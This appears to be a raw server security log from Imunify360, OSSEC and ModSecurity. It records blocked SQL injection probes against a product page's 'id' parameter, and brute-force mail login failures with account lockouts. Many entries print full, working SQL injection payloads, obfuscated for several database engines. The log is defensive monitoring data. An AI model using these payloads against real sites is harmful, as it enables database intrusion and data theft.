IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/(SELECT/**/9456/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9456=9456,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:14:03 dovecot_login authenticator failed for H=(JhMuV5) [158.94.208.175]:55982: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:14:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40190: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/6028=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(6028=6028)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND ('mOWdz6Nj' LIKE 'mOWdz6Nj||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:14:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58404: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.169.204.137
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/9456/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9456=9456,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:15:00 dovecot_login authenticator failed for H=(qOpsD6Prc) [178.16.54.138]:53669: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 66.132.153.131
country_id: 6252001
description:
Feb  2 05:15:20 sv3 pure-ftpd[1427548]: (?@66.132.153.131) [INFO] New connection from 66.132.153.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:15:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52157: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/5781=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(5781=5781)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND (\"Fa8WXNnl\" LIKE \"Fa8WXNnl\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:15:20 dovecot_login authenticator failed for H=(ATdQF6SP) [178.16.52.139]:59751: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 66.132.153.131
country_id: 6252001
description:
Feb  2 05:15:28 sv3 pure-ftpd[1427587]: (?@66.132.153.131) [INFO] New connection from 66.132.153.131


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(8455,CONCAT('.','~',(SELECT/**/(ELT(8455=8455,1))),'~'),10538)# KEYr4u7j HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5781=concat('~',(select/**/(case/**/when/**/(5781=5781)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and (\"fa8wxnnl\" like \"fa8wxnnl\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:15:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:15:09 dovecot_login authenticator failed for H=(LB9Ftoe) [165.154.217.204]:53158: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:15:46 dovecot_login authenticator failed for H=(ZIgvlz) [165.154.217.204]:58110: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:15:08 dovecot_login authenticator failed for H=(UkIDDY6EJ) [158.94.208.175]:64710: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.94.28.164
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/krisfood.sql||User:krisfood||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:16:04 dovecot_login authenticator failed for H=(M00w85) [165.154.217.204]:59997: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(9147=9147,1))),%27~%27),9147)# 0ryzbJP2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:16:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47818: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:16:15 dovecot_login authenticator failed for H=(0lIjnADtuJ) [178.16.52.139]:51358: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:16:29 dovecot_login authenticator failed for H=(qIaiNd2w) [158.94.208.175]:61729: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(8141=8141,1))),'~'),8141)# 0S9OGMem HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(8141=8141,1))),'~'),8141)# 0S9OGMem||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/row(7618,10013)>(select/**/count(*),concat('~',(select/**/(elt(7618=7618,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5860/**/union/**/select/**/8229/**/union/**/select/**/8597/**/union/**/select/**/10589)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-02-02 05:16:41 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (pyralocall) [76.145.10.140]:45570: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:16:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(1008=1008,1))),'~'),1008)# byklkqmc||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9216=9216,1))),'~'),9216)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(8141=8141,1))),'~'),8141)# 0s9ogmem||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:16:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61881: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/ROW(7618,10013)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7618=7618,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/5860/**/UNION/**/SELECT/**/8229/**/UNION/**/SELECT/**/8597/**/UNION/**/SELECT/**/10589)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:17:07 dovecot_login authenticator failed for H=(9uWwmSy) [178.16.52.139]:51048: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:17:57 dovecot_login authenticator failed for H=(WskAvDMju) [165.154.217.204]:54586: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/row(3905,5258)>(select/**/count(*),concat('~',(select/**/(elt(3905=3905,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/1817/**/union/**/select/**/1217/**/union/**/select/**/3624/**/union/**/select/**/10641)a/**/group/**/by/**/x)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/row(3905,5258)>(select/**/count(*),concat('~',(select/**/(elt(3905=3905,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/1817/**/union/**/select/**/1217/**/union/**/select/**/3624/**/union/**/select/**/10641)a/**/group/**/by/**/x)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:17:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:17:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58049: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-02 05:17:51 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:54036: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:17:04 dovecot_login authenticator failed for H=(XS8tfqFkIg) [158.94.208.175]:58895: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1))/*!50000AND*/ROW(4618,7947)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4618=4618,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/6442/*!50000UNION*//*!50000SELECT*/8670/*!50000UNION*//*!50000SELECT*/2958/*!50000UNION*//*!50000SELECT*/8459)a/*!50000GROUP*//*!50000BY*/x) AND ((3957=3957||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 05:17:34 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(10962=10962,1))),'~'),10962)# LmPPekRc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-02 05:17:56 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:30236: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:17:07 dovecot_login authenticator failed for H=(ZFjRcW) [165.154.217.204]:49441: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(2807,7914)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2807=2807,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/6600/**/UNION/**/SELECT/**/6956/**/UNION/**/SELECT/**/1664/**/UNION/**/SELECT/**/1587)a/**/GROUP/**/BY/**/x)# 8gdZe6k1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND /*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5237=5237,1))),'~'),5237)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1))and/**/gtid_subset(concat('~',(select/**/(elt(2026=2026,1))),'~'),2026) and ((7938=7938||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1))/*!50000AND*/ROW(4618,7947)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4618=4618,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/6442/*!50000UNION*//*!50000SELECT*/8670/*!50000UNION*//*!50000SELECT*/2958/*!50000UNION*//*!50000SELECT*/8459)a/*!50000GROUP*//*!50000BY*/x) AND ((3957=3957||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:17:40 dovecot_login authenticator failed for H=(w1mPIpG) [178.16.54.138]:60380: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.239.163.142
country_id: 690791
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/landscape HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:18:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55538: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/1360=cast(('~'||(select/**/(case/**/when/**/(1360=1360)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml)# cc9cfpv7||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:18:39 dovecot_login authenticator failed for H=(ffaMwdm2oL) [178.16.54.138]:59941: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:18:43 dovecot_login authenticator failed for H=(xBtafaa3) [158.94.208.175]:52046: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:18:45 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:18:01 dovecot_login authenticator failed for H=(UbWpAu) [178.16.52.139]:62846: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(7504=7504,1))),'~'))/**/USING/**/utf8))) AND (((6408=6408||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(1250=1250,1))),'~'))/**/USING/**/utf8)))# gqox6ucB HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/1360=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1360=1360)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# cc9CfpV7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/1360=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1360=1360)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# cc9CfpV7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:18:04 dovecot_login authenticator failed for H=(qm516dVyd) [165.154.217.204]:55327: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(7504=7504,1))),'~'))/**/using/**/utf8))) and (((6408=6408||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:18:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:18:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54734: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-02 05:18:44 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:48788: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:19:43 dovecot_login authenticator failed for H=(ctNJMOHwj) [178.16.54.138]:62170: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-02 05:19:59 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:38464: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:19:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:19:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50509: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:19:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND\r2857=(SELECT\r'~' (SELECT\x05(CASE\nWHEN\x0e(2857=2857)\nTHEN\b'1'\x01ELSE\n'0'\rEND)) '~'\x0eFOR\bXML\tPATH('')) AND (((5112=5112||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/4672=(select/**/'~'+(select/**/(case/**/when/**/(4672=4672)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8559=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8559=8559)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))# foIqT6xR HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-02 05:19:35 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:47368: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:19:59 dovecot_login authenticator failed for H=(TQbVfIY) [178.16.52.139]:57612: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:19:02 dovecot_login authenticator failed for H=(hRicUiS5G) [165.154.217.204]:60865: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND aND/**/9152=uTL_iNadDR.GeT_hOST_NAmE((sELECT/**/cHr(126)||'~'||(SElECt/**/(CasE/**/When/**/(9152=9152)/**/Then/**/1/**/ELsE/**/0/**/End)/**/fRoM/**/DuAl)||'~'||chr(126)/**/frOM/**/duAl))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:20:12 dovecot_login authenticator failed for H=(OeelGg6BV) [165.154.217.204]:54115: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1))AND/**/10960=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10960=10960)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND ((3917=3917||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/3426=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3426=3426)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))# kPyIjy3h HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
